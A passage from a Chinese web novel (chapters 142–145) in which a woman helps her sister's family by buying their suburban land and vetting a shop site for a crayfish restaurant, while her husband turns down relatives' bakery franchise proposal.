难道你还想回到以前一分钱掰成两瓣花的日子?我们可有三个孩子呢,想回到以前都回不去,一分钱掰成两半都不行了,得掰成三瓣。 要是这次能盘下省城的铺子,以后我们就不用跟以前一样,那么看收货人的脸色,你总得给我个机会,去问问二姐和二姐夫吧?” 听到他的这些话,赵如媛有些动摇了,家里的钱捏在她手里,小龙虾生意她也是全程跟林国豪一起做,具体是什么情况,她也很清楚。 家里好不容易过上好日子,万一小龙虾生意不成了,再让她过以前的日子,她肯定很难接受了,光是想想,半夜做梦梦到都得吓醒。 看到她态度有松动,林国豪再接再厉: “你再想想,当初二姐夫的大侄子和徒弟当初买铺面,二姐和二姐夫是不是特别支持,而且早就劝他们早点买铺面开店了,没准他们也支持我们在省城买铺面呢? 再说了,我们有自己的货源,还有地来抵押,我们现在的情况可比他们好很多。” 他说了一大堆,口水都快说干了,赵如媛终于松口:“那行吧,我去问问我二姐。” 第142章 赵如媛一松口,林国豪立刻催着她给赵如月和宁绍明打电话,先把一起带着几家孩子去逛街的事敲定下来。 一起出去逛的时候,总能有机会提一下他们家的事。 就算不能马上把事情办成,能趁这次看看二姐的态度,也比直接去问让双方都尴尬为难要好得多。 赵如月接到赵如媛打来的电话,听到她说想带着几个孩子一起去市里逛逛,其实她也有点心动。 但赵如月不能直接答应下来,毕竟要带孩子去,也得问问两个孩子的意见。 明天星期日,她家两个孩子的兴趣班课程安排得比较满,如果要带他们一起去的话,他们至少要请假半天。 换了别的孩子,一听说可以出去玩,大多都恨不得让家长给自己多几天假玩个够。 可自己家的这两个,赵如月自己都拿不准他们会不会同意。 她自己不确定,在电话里也是这么跟赵如媛说的。 赵如媛对她二姐的这个做法也很理解。 春节她回娘家,跟她二姐聊天的时候,聊到各自的孩子。 赵如媛还记得那时候她二姐说,她家里孩子就是放养的,所以他们就比较独立,也很有自己的想法,不太需要家长瞎操心。 当然很多事情,家长也不能代替他们做决定了,得提前问问他们的想法,让他们自己做决定。 就比如这次,去玩这事会影响到两个孩子上课,她必须得先问问他们才能给赵如媛答复。 不能问都不问一句,就直接先斩后奏跟孩子说:明天我们要跟亲戚去玩,已经给你们请假了。 赵如月没让赵如媛等太久,在两个孩子上完一节课后的课间休息时间,她就去问了。 果然不出她所料,她家的两个孩子都不想请假,只打算上午上完课后,中午休息时间出去跟她们逛一会儿,下午的课继续上。 赵如媛也不强求,只要她二姐能去就行,给孩子买东西,一个中午的休息时间足够了。 星期日这天,因为要带着好几个孩子一起去,赵如媛和林国豪直接包车,让人上门接送。 赵如月是直接从县城去的市里,出门的时间还是跟以往一样。 虽然出发得比他们晚一些,但因为是在县城出发,反而比他们先到。 昨天赵如月就跟赵如媛约好了,在少年宫门口集合。 她把自己家两个孩子送进他们各自的兴趣班后,出来等了一会儿,赵如媛一行人就到了。 自己人用不着寒暄,赵如月上了车,让司机直奔她和赵如媛昨天商量好,今天首先要去的地方。 一直玩到临近中午,几个孩子都累了,赵如月又让司机回到少年宫附近,开了个房间,让几个孩子休息,同时也等自己家孩子下课。 赵如媛看孩子们都睡了,只剩他们三个大人,二姐家的两个孩子暂时也还没来,这是个很好的机会。 林国豪各种用眼神暗示她,别磨蹭,抓住机会赶紧说。 赵如媛却不知道该怎么开口,如果就这么直愣愣地说,感觉太突兀了。 她现在回想起,当初自己家刚准备养小龙虾,钱不够的时候,跟二姐家借三万块钱的那个情形,每回想一次都暗自觉得尴尬一次。 现在的她都无法理解那时候的自己,怎么就那么敢说呢? 她酝酿半天,她老公都要急得团团转了,她还不开口。 直到听赵如月提起宁时春他媳妇儿有个好朋友,现在就在市里开发廊,以前那个人在县城开发廊生意就很好,而现在来市里,自己买了铺面重新开张,生意甚至比以前在县城的时候还要好的事。 赵如媛可算是找到了切入点,说起开店的事:“能把铺面买下来再开店卖东西,确实更好。” 她说完一句停下了一瞬,回想自己的话有没有哪里不妥。 回想后觉得,开发廊卖的是服务和手艺,也是卖东西的一种,自己这么说应该也没错。 于是很快又继续说下去:“只要东西好,不愁没客人,不像我们这些养殖户,现在行情改变了,想把东西卖出去,还得看收货人的脸色。” 赵如月跟赵如媛电话联系不算少,也听她说过好几次,她婆家那边村子里的人,看她们夫妻俩养小龙虾卖真挣到了钱,一个个就开始跟风,也要养小龙虾。 这种事无论在什么地方都不少见。 赵如月把自己代入到妹妹妹夫的角度去看,自己都觉得难受。 好不容易当本地‘第一个个吃螃蟹的人’,冒着风险挣了一点钱,当初他们养这个,也不被人看好,甚至还有人背地里嘲笑他们瞎搞,等着看他们笑话。 结果他们真做成了,本以为可以长久做下去,却有那么多人跟风,跟风的人里,没准就有当初背地里不盼着他们好,等着看笑话的人。 一个村,将近三分之一的人都跟风养小龙虾,还没算上临近的其他村子里也跟风的人。 赵如月已经可以预见,等到小龙虾长成的季节,竞争有多激烈了。 “那你们打算怎么办?得赶紧想个办法才行,要不养的人多了,市场很容易被他们搞乱。” 赵如媛等的就是这个时候,她急忙说:“姐,我和国豪想着,我们自己也在省城盘下一个店,到时候我们自产自销,你觉得这样行吗?” “你们打算卖生鲜还是做熟了卖?” 赵如媛说:“我们打算把小龙虾做熟了卖,那样比较能卖得上价,我们只卖各种口味的小龙虾和酒水,应该不会太麻烦。” “产品有点单一,不过也不是没有好处。”有时候缺点也可以变成优点。 如果一直坚持专注于做这一个品类,只要味道好、质量和卫生过关,等时间久了,也许省城人一说起吃小龙虾的店,就能想到他们家。 赵如媛试探着问:“你觉得可行?” 赵如月不敢打包票,原因还是当初她跟苏胜楠说的那样:“我觉得问题不大,但是做生意这事,影响因素太多,我可不敢说一定能成。” 赵如媛:“我明白的,姐,那个……”临到最重要的事,准备问出口时,她又不好意思起来。 “什么?”赵如月本来眼睛正看着电视,听妹妹哼唧半天,没把话说完,转头看过去,就看到妹夫拉着妹妹的袖子,怨夫似的,一脸恨铁不成钢的表情无声催她赶紧说。 赵如月让他们逗笑了:“你们俩都多大年纪了,还做什么怪呢?有话直说呗,难道你有事想叫我帮忙,我不答应你,我们姐妹俩还能掰了不成?” 赵如媛忙道“那肯定不会!” 她一听她姐这么说,顿时豁然开朗,也终于想起来,当初自己为什么敢直接开口借那三万块钱了。 因为她们是关系很好的亲姐妹,彼此互相了解对方,她姐相信她不是那种会借钱不还的人。 那还有什么可犹豫的? 赵如媛在心里唾弃自己,真是年纪越大,越爱想那些有的没的,还不如年轻的时候坦然豁达。 “那我可直接说了,我跟国豪担心以后小龙虾多了,人家在我们这里压低进货价,我们养殖户卖不上价,他们卖到城里稍微一加工,那是翻倍的挣。 说实话我们确实眼馋人家那个收入,就想着不如自己也开一家,养小龙虾这几年,我们学会不少吃法,也自己琢磨了几种。 做出来之后,吃过的人都说味道不错,到时候我们自己给自己供货,没有中间商赚差价,利润空间更大。” 赵如媛说了一大串话,说得口干,打算停下来先喝一口水再继续说。 林国豪刚才因为她一直犹豫着不知道怎么说急得不行,这会儿看她快要说到关键的地方,又停下,感觉自己心脏也要跟着停了。 干脆趁着她喝水的空挡,抢着说:“现在我们别的方面都准备好,只剩下买铺面了。 二姐,我也不敢瞒你,这几年我和如媛养小龙虾卖也挣了点钱,本来在省城买一间不大不小的铺面也是够的。 但去年我判断失误,在省城的郊区买了一块地,把手头大半现钱都砸进去了,以为会拆迁到那一片。 结果人家往反方向,就是省城的另一头发展,不往我买地的这边拆了,就导致我们现在买铺面的钱不太凑手,大概还差二十万。” 赵如媛嘴里含着一口水猛点头。 接着听到林国豪说:“姐,我觉得那边以后没准还会拆,你要是手头有余钱的话,要不要考虑接手?” 赵如媛那口水直接就喷出来,喷了他一脸。 老夫老妻的,林国豪倒是没嫌弃。 赵如媛咳了几声,缓过来后,却气炸了:“你怎么还临时改说法!我们来之前可不是这么说的! 明明说好是把这地抵押给二姐家,借了钱以后抓紧时间挣钱还上,这会儿到你嘴里成劝人买地了!谁乐意买你那破地!” 赵如月看她脸都气红了,不是装的,自己亲妹妹,是不是真生气她还是判断得出来。 担心她妹妹冲人动手,赵如月忙把她拉到自己身边,心平气和地问:“别光顾着生气吵架,先跟我说说,那块地在哪,省城郊区的地,可没多少是不好的地。” 赵如媛深吸几口气,把心头对丈夫的那股怒火压下去,尽量冷静下来对她二姐说道:“就是城北那边,往我们村那个方向,当初他是看那地方到老城区的距离比别的地方都近,觉得很有可能会拆,又听了不知道哪里传来的小道消息,说近两年肯定能拆迁到那边,他才着急忙慌在那边买了地。 想学着你们在镇上那样,先盖几间平房做生意,等拆迁的时候,地头上有房子有树什么的,也能多分点钱。 结果省城转向别的方向发展,他直接就傻眼了,要是先发展另一边的话,这边等拆迁还不知道得等到猴年马月去。” 赵如媛给她说了是哪个地方,赵如月就明白了,其实林国豪的想法也不算错,只是那一片地方,确实没那么快拆。 赵如月没具体跟他们说自己为为什么那么笃定,但可以说的东西,也没藏着掖着:“你们真要卖那块地?我实话跟你们说,我觉得那块地挺好,以后肯定能拆到,如媛别担心我买下会吃亏,从长远来看,不会亏的,其实我建议你们别卖。” 林国豪和赵如媛都不自觉苦笑:“要是我们不急用钱的话,倒是也愿意等一等,可我们现在是真的想把铺面买下来,租铺面太不稳定了,租金年年涨,但凡生意好一点,人家要么涨租,要么想法子把做得好好的租户赶走,自己干一样的生意,或者让自己亲戚干。 谁也不知道以后会拆到的这个‘以后’是多长时间,万一要等个十年八年,黄花菜都凉了,商机可不等人。” 第143章 听完妹妹和妹夫的话,赵如月沉默了。 即使自己有上辈子的记忆,她也仍旧无法判断,现在妹妹和妹夫是做生意更好,还是把地留着,等以后拆迁更好。 未来的事,谁都做不得准。 “你们确定要卖?”赵如月只能再次跟他们确认,“以后那地方拆迁了,也不后悔?这几年那块地没拆到,可不一定是坏事,以后真拆到那边的话,能拿到的钱也许比现在拆到更多。” 这个道理赵如媛和林国豪也明白,毕竟现在各种东西都在逐年涨价,以前在镇上,几毛钱就能吃一碗足够成年人吃饱的米粉,里面还有肉。 可是才过了几年? 米粉的价格已经翻倍了,更别说其他东西,倒是一些曾经比较贵的电子产品,还有可以由工厂大量生产的工业制品没有以前生产力不足物资匮乏的年代那么贵了。 赵如媛点头认真地说:“我们很确定,现在就是更迫切地想把地换成钱,去买铺面开店做生意。” “姐,你不用担心我们会吃亏,铺面不也是固定的资产么,万一我们这生意没做好,以后自己不做了,把铺面租出去,每个月也能有一些收入,不至于做不好就抓瞎了。”林国豪确实就是这么想的。 所以他才冒着回家被赵如媛收拾的风险,临时改了说法,把借钱换成卖地换钱。 反正那块地白白放着也没用,在那里起房子开店性价比也很低,林国豪就想着,不如换成一间马上就能派得上用场、解决他们困境的铺面。 他也知道,以自己媳妇儿和二姐的关系,就算只是把地抵押出去给二姐,她大概率也会把钱借给他们。 可他还是想用那块地来降低开店风险、减轻开店压力。 要不然只是借钱的话,他们要面临的压力就太大了,开店的风险也更大。 万一生意没做好,借的钱还不上,他们也会面临更难的境地,不如一开始就不要背着债去做生意。 赵如月说:“既然这样,我回去跟我家那个商量商量,会尽早给你们答复。” “谢谢姐!”他们看到赵如月的神色和态度就知道,她其实是愿意买的,只要她愿意,姐夫那边问题就不大,这事大概率能办成。 等宁时秋和宁时夏下了课找过来,早上起得太早,刚才在房间里提前睡午觉的几个孩子也睡醒了。 大家又一起出去逛街,赵如媛和林国豪心里感激赵如月,不知道该怎么报答,就加倍地对他家孩子好。 给宁时秋和宁时夏都买了不少衣服、书籍和好吃的,全程不让赵如月花钱。 回去后,赵如月跟宁绍明说起这件事:“我没马上答应他们,只说还得回来跟你商量,要你点头才行,要是你不反对的话,我们可以抽空去省城看看那块地。” 宁绍明说:“先去看看地,要是那块地还不错的话,我们买下来也没什么,省城的地,就算现在用不到,以后总不会亏。” 大不了就是把时间线拉长,反正攒下来的钱也暂时不知道该往哪里花,有时候猛然察觉到钱越来越不值钱了,心里也有点焦虑,担心这钱留着留着,现在还能买的东西,以后同样的钱却买不到了。 毕竟现在的存款都是辛辛苦苦开店挣到的,贬值了他们自己也心疼。 两个人商量好,赵如月就跟赵如媛约了去看地的日子。 赵如媛和林国豪接到她的电话激动不已,恨不得第二天马上带他们去看。 可惜第二天那个远房亲戚还要去赵如月家拜访,赵如月跟人家约定好了来家里做客的时间,总不好放人家鸽子。 这天宁绍明也没去店里,跟赵如月一起留在家里等客人上门。 那几个远房亲戚来得还算早,因为他们跟赵如月也不太熟悉,担心到时候没话题聊,场面尴尬,还特地请了赵鸿发和陈芳妮夫妻俩一起来。 赵如媛和林国豪夫妻俩还没回家,得等到带赵如月和宁绍明去看完地,才会回去,今天也特地跟着来了。 寒暄过后,几人在客厅落座。 赵如月特别好奇,这几个亲戚来找自己到底是为了什么事,可人家还没说到那里,赵如月也不会主动提。 只能耐下性子,跟他们扯些有的没的。 几人先是聊聊老一辈亲戚间的事情,攀攀交情。 等到气氛差不多了,话题拐到生意上去,才算是进入了正题。 几个人先是夸了她家生意做得好,他们家的店在县城算是比较有名气的,也受县城的人欢迎。 尤其是面包店,宁绍明这人喜欢下厨、热爱烘焙,又爱钻研。 再加上后来学会了上网之后,在网上认识了不少同好,经常跟同行业的同好们互相交流经验。 学会新东西之后,他不但会复刻出来,还会举一反三,去创新制作属于自己的新品。 现在他的面包店里有一个单独的橱窗,专门用来放他做的新品,哪些做出来后受客人欢迎,就会上架一段时间。 如果销量能比较高,而且一直相对稳定,才能成为店里的常驻产品,然后再铺货到另一家分店。 可以说因为宁绍明的爱钻研、爱创新,现在店里有不少他创新后经过市场考验,得以保留下来,非常受客人欢迎一直在售卖的产品。 就这么不大不小的一家面包店,不说多厉害,至少拎出来跟别人比,它也是非常有自己特色的一家店。 所以那几个亲戚夸完之后,话音一转,很是为他们可惜的样子:“我觉得以你们的能力,不该拘泥于小小的一个县城,我在省城都听说过你们家的面包店,不知道你们有没有发现,市里和省城都有人特地开车去你们店里买东西。” 赵如月点头,这个她和宁绍明倒是早就发现了。 不只是面包店,其他两家店也有外地的客人。 有些人原本冲着面包店来,来到之后,发现隔壁也是面包店老板家的店,好奇之下就进去逛逛,结果又觉得餐饮店的东西看起来也不错。 来都来了,就顺势在餐饮店吃一顿,吃完觉得很好吃,就又打包了一些餐饮店的东西,跟隔壁买的面包蛋糕一起带回去。 回家后东西吃完解了馋,过一阵又开始想念,就这么成了回头客,隔一段时间就来。 赵如月老店的生意也被面包店带动了不少。 因为她跟范小蓉关系好,范小蓉在羊城那边有什么新款电子设备,肯定会为她弄一些寄过来。 有些电子设备,县城别的店甚至市里都不一定有,但是在她这里就可以找到。 久而久之,很多客人也习惯了,新出什么电子设备,先来她这里问一问看她这里有没有。 本来只有县城的客人来,自从面包店那边吸引了外地的客人后,她这里也被外地的客人发现,外地的客人也跟着多了起来。 有些人回市里和省城之后,没时间再来,既想买她这里的新款电子设备,也想买面包店里的东西,干脆就远程购买,然后让赵如月帮忙一起装箱寄过去。 赵如月这边本来就有代网购和代收寄快递的业务,跟本地的邮局算是有合作,寄东西也很方便。 只是客人每次只能打电话过来订东西,嫌电话里说太麻烦,不能随意选,还不能看到图片,有时候她比较忙,就会顾不上这一类客人。 很多客人都在催他们开网店,要不然就组建一个卖东西的群,方便他们卖东西,也方便自己买东西。 这个事赵如月还在考虑。 不是她不想开,实在是考虑到现在的物流还没有以后那么厉害,很多面包店里的产品都是没法寄的。 宁绍明面包店里的面包不爱放各种添加剂,这就意味着,保质期不会太长,根据季节的不同,顶多能放个三五天,而且就算能寄的产品,味道也肯定不如实地吃新鲜的味道好。 毕竟开网店的话,需要面对的可就不只是省内的客人,还有可能有全国各地的客人。 另外她也担心丢件的问题,现在的监控也没以后那么厉害。 赵如月还以为这几个亲戚也是吃过他们的东西,然后念念不忘来劝他们开网店的。 赵如媛和林国豪还没把买店铺缺的钱拿到手,很担心人家手头有好项目,可能是来拉投资的。 但是这次他们全都猜错了,人家是想拿店铺授权,在省城以她家面包店省城分店的名义开店。 几个远房亲戚把这事说得天花乱坠。 说什么自己不缺资金,只缺好的项目,要是他们同意这事,要不了多久,他们家的店就能开成连锁店,在省城以及省内的各个县市遍地开花。 再过几年,发展成全国连锁也不是没有可能! 一番话把赵如月的哥嫂和妹妹妹夫说得晕晕乎乎,深感这个买卖做得,是个非常有前景的好买卖。 差点也跟着开口帮他们劝赵如月和宁绍明,千万要抓住这个做大做强的好机会了。 可宁绍明听着别人描绘的美好事业蓝图,却忍不住皱起眉头。 他第一反应是,如果答应了,自己以后是不是会很忙,太忙顾不上保养身体的话,他媳妇儿肯定会不高兴。 别说什么他可以只专注开发产品,出配方,别的全都不管,可以把大部分事情都交给别人去做,只管等着拿分红就行。 现实实践起来可不会那么简单,哪怕他只专注开发产品,这个工作一旦牵扯到的人和事多起来,就无法做到只是单纯地开发产品了。 自己的店,他可以自己说了算,做出来的新品不符合客人口味也没关系,大不了直接下架,自家吃或者给亲朋好友分一分就没了,有时候还不一定够分。 给企业做产品可不能这样随性,每一个产品都需要尽量去迎合客人的喜好,要绞尽脑汁地去想,客人喜欢什么不喜欢什么,为什么喜欢这个,不喜欢那个。 推出一个产品销售效果不好,甚至失败的话,那就意味着不但他自己,背后很多各个岗位的工作人员付出的劳动都白费。 而且这几个亲戚又不是她媳妇儿手把手教导出来,还知恩图报、人品过硬的苏胜楠。 他们只是跟自家没多少情分、打交道的次数都不如邻居多的远房亲戚,他们甚至不知道这几个人真实的人品是怎么样的。 如果是他教出来的徒弟想自己开一家店,他会支持,因为他自己开过店,他知道该怎么做。 但他不想跟不熟的人,在自己不擅长的领域搞这些。 开授权连锁、开加盟这些看起来都是开店,可实际操作起来,可不是那么回事。 他的技术、他的店铺授权、他的配方交出去以后,如果真如这几个人所说,确实成功做大了,他们以后真的甘心一直把利益分给他? 企业做大之后,后来者架空创始人,甚至把创始人踢出局的事可不少。 到时候可就不是单纯的合伙卖东西的事情了,其中涉及到的资本运作,他和他媳妇儿都不了解,很容易被坑,可别最后连现在这两家店都得赔进去才好。 这些话说出来,可能会让人觉得他杞人忧天,所以宁绍明没说。 他只是在他们天花乱坠地说完后,客气地拒绝了:“我暂时没有授权店铺和让人加盟的打算。” 说他胸无大志也罢,宁绍明觉得现在这样的日子,真的已经很不错了,他很知足。 那几个亲戚在他们家劝了半天,见不管自己怎么说,赵如月夫妻俩依然不为所动,看着天色不早,人家还要去接孩子放学,就只好先离开了,说改天再来拜访。 赵如月就没见过那么能说的人,为了达到目的,他们还特别拉得下脸面、放得下身段,哪怕被拒绝好多次,人家也一点不觉得尴尬,还是能一直车轱辘似的在那里反复地劝说。 一开始还好,到后面赵如月都听到整个人有点烦躁了,只是还忍得住,没表现出来。 他们走的时候,她就没亲自出去送。 赵鸿发是在场的人里,勉强算是跟他们最熟的人,就站起身来帮忙把人送出去了。 那几个人临走的时候,还请他帮忙劝劝他二妹和二妹夫。 他把人送到门口看着他们的车开远,转身回到客厅,就听到陈芳妮几人正在那遗憾地说:“这么好的事,你们不答应真的太可惜了。” 赵如月笑笑,她跟宁绍明一样,并不觉得这算什么好事,反而微妙地有种被人盯上的感觉。 她不想再多说这件事,转移了话题,跟妹妹妹夫聊起省城那块地。 第144章 那块地四四方方的挺大一块,看起来特别规整,没有那些奇形怪状的边边角角。 赵如月亲眼见到后,就明白了,为什么妹妹妹夫会相信小道消息,当初又为什么,那么着急忙慌地选了这块地买下。 抛开拆迁需要等很多年这一点,这在附近确实已经是一块很好的地,她坐车的时候,一路看过来,很多在地上画了白线划分出来的地块都不如这块方正。 这让赵如月觉得,即使以后省城的发展,跟县城一样与她的记忆出现偏差,花二十万买这块地也很值。 这一片现在是郊区,等城区逐渐往外扩,哪怕不能跟城区一样繁华,远郊也会变成近郊,地价自然而然就会涨,只这一点就不会亏,只是需要时间和耐心。 宁绍明看了也觉得很满意。 他对赵如月说道:“这里看起来偏离了城区往外扩张的方向,但我看过地图,刚才也在附近转了一圈,周围的路四通八达的,还靠近高速路进出口,居住在这附近,可能会被路过的大卡车吵得睡不好觉,所以在这附近自住房的人很少,要是开店卖东西,客户群体就比较单一,可能大部分都是路过的司机,办个小厂子或者做仓库就很合适。” 听他这么一说,赵如媛和林国豪也跟着观察四周,他们当初买这块地的时候,也是参考过二姐和二姐夫在镇上的店。 赵如媛听她姐说过,他们刚开始店的时候,还特地请那个帮她家拉货的司机帮忙,给他相熟的司机发名片,让人家相信她家店,给店里拉客人。 她一看到这块地,就觉得这里的位置跟二姐家很像。 只是那时候她和丈夫买得匆忙,只见注意到附近来来往往的司机和车子,觉得这么多途径的车,那都是他们家的潜在客户群体,忽视了两家卖的东西不一样。 人家司机刚从附近的厂子里拉货出来,着急上高速送货,怎么可能一出来没走多远,就停下先吃个小龙虾喝几杯再上路? 也忽视了,她二姐家的店还有另一个稳定的客源,那就是镇上的街坊邻居们。 其实过路司机那都是锦上添花的相对不稳定的客源,镇上的居民才是真正能让一家店站稳脚跟的决定因素。 她姐家的店,说是不太近集市,周边住的人少,其实只是相对于位置就在集市上的那些店来说不近而已,走路也用不了多少分钟。 放在城里,如果集市那地方是个小区,她二姐家的店甚至能划进‘小区附近距离我家很近那家店’的范围内。 在看看她们买的这块地周围,买地的很少有以个人的名义买,大多是以公司的名义,很多公司跟她二姐夫说的那样,买来建仓库的。 如果是建厂子,这地方还能救一救,毕竟工厂的工人,总不会一直在厂里吃,肯定有想要出来解解馋的时候。 周边都是仓库,那还怎么玩? 就那几个管仓库的工作人员,那点客流,可撑不起一家店,更何况小龙虾这玩意儿不是日常非得消费的东西。 在这里开店卖小龙虾店,还不如开个小卖部卖点饮料方便面、烟酒、槟榔! 赵如媛只是在心里想想,但宁绍明和赵如月还真打算买下这块后,就先在这里开个小卖部。 他们看过地,确认这块地可用,不至于一到手就得白放着,等待不一定是不是真的会到来的拆迁。 在正式交易之前,还把他们觉得可以在这里做的生意,全都说给了赵如媛和林国豪听。 可赵如媛和林国豪满心都是去省城比较繁华的城区买铺面,而他们说的那些生意,几乎都要慢慢发展,属于细水长流的类型,跟他们的期待不太符合。 双方签了合同,交钱、过户后。 赵如媛才私下跟赵如月说:“其实我们非要在城区买房,也是不想让家里孩子在学校被人看不起。” 赵如月第一反应是:“彩柔在学校被同学欺负了?” “那倒没有,那孩子成绩好,我们没给老师送礼,老师也挺关照她。 只是她是在省城城区上学,当初考上的时候,我们单纯觉得她能考上这么一个好的学校,入学后跟那么多当初在小学时,也是各个学校班级尖子生的孩子竞争还能名列前茅,很为她高兴。 可后来去给她开家长会,人家家长看起来都特别体面,不是在省城城区做生意有铺面有房子的,就是在公家单位上班,有些职位还不低。” 赵如媛脸上带着苦笑说,“只有我们家,我跟她爸都是农民,我不想给孩子丢脸,已经尽量往好了去打扮,看起来还是不如别人,自身没有的东西,那气质装也装不像,就跟乞丐穿上皇帝衣裳似的,孩子没嫌弃我不给她长脸,但我自己觉得很丢人。” 听到这里,赵如月算是知道他们为什么那么执着于在城区买铺面了。 其实也并不单纯是为了给孩子争一口气。 “你是不是想着,既然没有的东西装不出来,那就想办法拥有,以后气质自然而然地改变,就不需要装了。” 赵如媛激动地一把抓住她二姐的手:“姐,我就知道你一定懂我!” 这一点赵如媛也是从她姐身上得到的启发,可能她姐自己灯下黑没察觉出来,对兄弟姐妹的态度也跟以前相比没什么两样。 可能是只觉得自己跟以前相比手头比较宽裕了,也就是现在买的东西,比以前买的贵了一点、好了一点。 但是如果把曾经的二姐和现在的二姐放在一起,要不是长相身形都一样,说是两个人别人都信! 以前因为穷,一遇上需要钱的事就发愁,小到隔三差五要给孩子买肉吃、家里买日用品的钱,大到孩子上学、以后分家的桩桩件件都有得是让她发愁的地方。 现在事业和家庭都顺心,她姐没了以前想遮掩起来不让家里人担心,却总是不由自主流露出来的愁态,整个人豁达许多,状态比以前更好,好似不管做什么事都能游刃有余的自信模样,看起来也比以前更好看了。 赵如媛继续说道:“我婆家那些亲戚,看我们俩买了地,又不要了,折腾着卖地去城区买铺面,觉得我们俩瞎胡闹,这个劝了那个又来劝,不知道的还以为他们真的有多关心我们呢! 以前我们刚开始养小龙虾的时候,也是这些人背地里想看我们笑话,结果怎么样?现在还不是自己打自己脸,也跟着养上了! 还想让我家国豪去教他们,我找了借口,没让国豪去!他们养小龙虾都是看着别人怎么养,就照搬过去了。 可我们养之前是特地去学习培训过的,他们这么瞎搞想不赔钱都难,现在我就想着,去城里,离那些人远一点,要不到时候他们真亏了,还得倒打一耙,怨我们不帮忙才让他们亏本!” 赵如月又问:“你们不是说小龙虾还要继续养,自己给自己供货吗?你们都去城里,老家的虾塘谁管?” “我公婆帮忙,以后我时不时再抽空回去看看。” 她说着,往林国豪那边看了一眼,确定他正认真跟二姐夫说话,没注意到自己这边,才小声说,“我让国豪跟姐夫多学点手艺和经验,以后小龙虾也是他做,这样店里离不开厨子,他能回去的机会就少了。 公婆想看他和孩子,我宁愿把公婆接到城里来住几天,我小姑子嫁得不远,跟我们家关系也挺好。 到时候要是我公婆来城里住,可以先让她帮忙照看家里几天,她家现在也养小龙虾,但她家是我们自己愿意教的,让她帮忙看几天不会出问题。” 赵如媛自己心里有数,赵如月就放心了。 办好手续后,还跟赵如媛去看他们打算要买的铺面。 他们担心这次买铺面又跟以前买地一样,心里迫切地想要拥有,就忽视一些不该忽视的问题,考虑得不够全面,就请赵如月和宁绍明帮他们看看。 赵如月和宁绍明也要去省城,找人帮忙设计一下那块地该怎么建。 跟着到他们想买的那个铺面后,看了一圈,没想到还真发现了问题。 “你们是不是想着,这间铺面靠近学校,学生们手头松,以后不用愁客源了?” 赵如媛夫妻俩齐齐点头:“没错没错,我们也考虑到了学生放寒暑假的问题,但是觉得问题不大,要是生意好的话,学生放假我们也可以不那么忙,缓一缓回去看看老人、陪陪孩子。 而且这边有个小区快建成了,以后业主入住,也能发展成客人。” 但他们看着赵如月的神色,心里有些忐忑:“姐,是不是还有别的问题?” “不是别的,就是关于学校和小区那两个。” 他们俩挠头自己想了一会儿,没想出来除了自己考虑到的那些问题,还有什么问题。 赵如月无奈道:“你们不看新闻吗?那所学校要搬迁到郊区去了,那边地方更大,教学场地和教学设施,还有学生的宿舍建得更好,他们准备先慢慢把一些专业搬过去,用几年时间,全部搬完。” 她这话仿佛一个晴天霹雳,把赵如媛夫妻俩劈得脸都白了。 “你们不会已经跟别人定下,还签合同了吧?”赵如月看着他们的表情像是要晕倒的样子,不敢继续说下去了。 要是再让他们知道,那个小区眼看着都快建成了还烂尾,他们可能真的会晕过去。 第145章 “没有没有,我们看好的地方有好几个,只是这个是最看好的,所以才先带你们来这里看了。”赵如媛缓过神来,心里一阵后怕。 赵如媛十分庆幸今天请姐姐姐夫来看了,要不然他们还真的概率会买下这间。 她和林国豪是真不看新闻,也没什么时间看。 平时他们要照看虾塘,又要照顾三个孩子,家里还种着田地。 即使有公婆帮忙,家里主要劳动力也是他们两个人,大部分的活都是他们干。 每天两眼一挣就是干活,有时间吃饭洗澡上厕所都不错了,家里是买了电视,但大部分时候也是老人和孩子看。 他们最多看看天气预报和晚上八点档、九点档的电视剧。 偶尔再有多一点时间,比起看电视他们更想睡觉,有时候遇上三伏天,下午太热没法在外面干活,他们回家休息,看电视的事后,看着看着就会不自觉睡过去。 在乡下身边也没什么人买报纸看,报纸在乡下最大的用处就是糊墙、糊窗户,铺桌子。 一年之中不那么忙的时间,大概是每一批小龙虾卖出去后,新的一批还没开始养之前的那个空挡,可能没那么多活。 但只是相对特别忙的时候没那么多,养小龙虾的活暂时告一段落,可还有田地里的活要继续干呢。 赵如媛又带他们去看了另外几间,但赵如月都觉得不太行,劝他们道:“你们还是再找找。” 他们找的这些房子,乍一看好像都没什么问题,但一深究,背后都藏着雷,价格跟周边比起来也不算实惠。 赵如月怀疑卖家或者中介,就等着自己妹妹妹夫这样看不出来的人接盘,她听妹妹复述中介和有些卖家的话,觉得他们话里话外还一副‘买到这铺面,你们是捡到宝’的意思。 “你换一家中介吧,这家不行,你们得多问问多看看,不能太着急做决定。” 赵如媛夫妻俩心有余悸地点头:“好,我们明天就重新找。” 他们今天被这么一通打击,之前那躁动着想尽快买到铺面,尽快开店的心,已经平静下来。 虽然还是很想尽快买到合适的铺面,却没之前那么迫切和浮躁了。 “姐,你能不能再帮我们一回?我实在是被这一连串的问题给吓怕了,求求你了~”赵如媛抱着她二姐的手臂,老大不小了还跟小时候一样撒娇。 林国豪在旁边一声不敢吭,想想她在家生起气来吼自己时的那粗声粗气的大嗓门,再跟现在她在二姐面前跟小姑娘一样,夹着嗓子撒娇的样子一对比,真是很想掬一把辛酸泪。 所幸她也就在二姐面前这样,这待遇他岳父岳母都没享受到过。 这么一想,林国豪心里就没那么酸了。 赵如月倒是没发现这其中的差别,她都习惯了。 “没问题,不过时间上你可要跟我同步,要不我的计划就被打乱了。”她平时要忙的事情也不少呢。 每天要做什么,赵如月都是自己整合家里人的情况,提前安排好。 再新加入一件待办事项,她就得重新规划安排,很多时间都要调整,所以她希望实施计划的时候意外不要太多。 最好别出现自己都安排好,什么时候一起出去看铺面,别人又临时有事去不了。 这样她的计划就乱了,又要重新安排。 除非是对方自己或者家人生病之类的事,实在走不开,这她还能接受,要不然下次可别想她再帮忙。 目前她妹妹还没出现过那样的问题,所以赵如月还是很乐意帮她的。 两人商量好时间后,赵如媛和林国豪也陪着赵如月夫妻俩去了解省城的建筑公司。 建仓库这事不像乡下建民房,建民房他们找自己镇上的亲朋好友去帮忙就能建起来,因为都是一个地方的人,建的房子就那几个样式,需要做的活都大差不差,人家都有经验了。 但仓库不一样,它需要针对储存物品的特性进行有偏向的建造。 要是想自用就得按照自己家储存的东西的特性来建。 想出租就要先了解周边的市场,什么商品需要用到的仓库比较多,尽量按照周边的需求建造,这样也能尽快把仓库租出去。 虽然也有通用仓库,但不同的商品对仓库的要求不同,如果有得选,很多时候商家还是更偏向于专门的仓库。 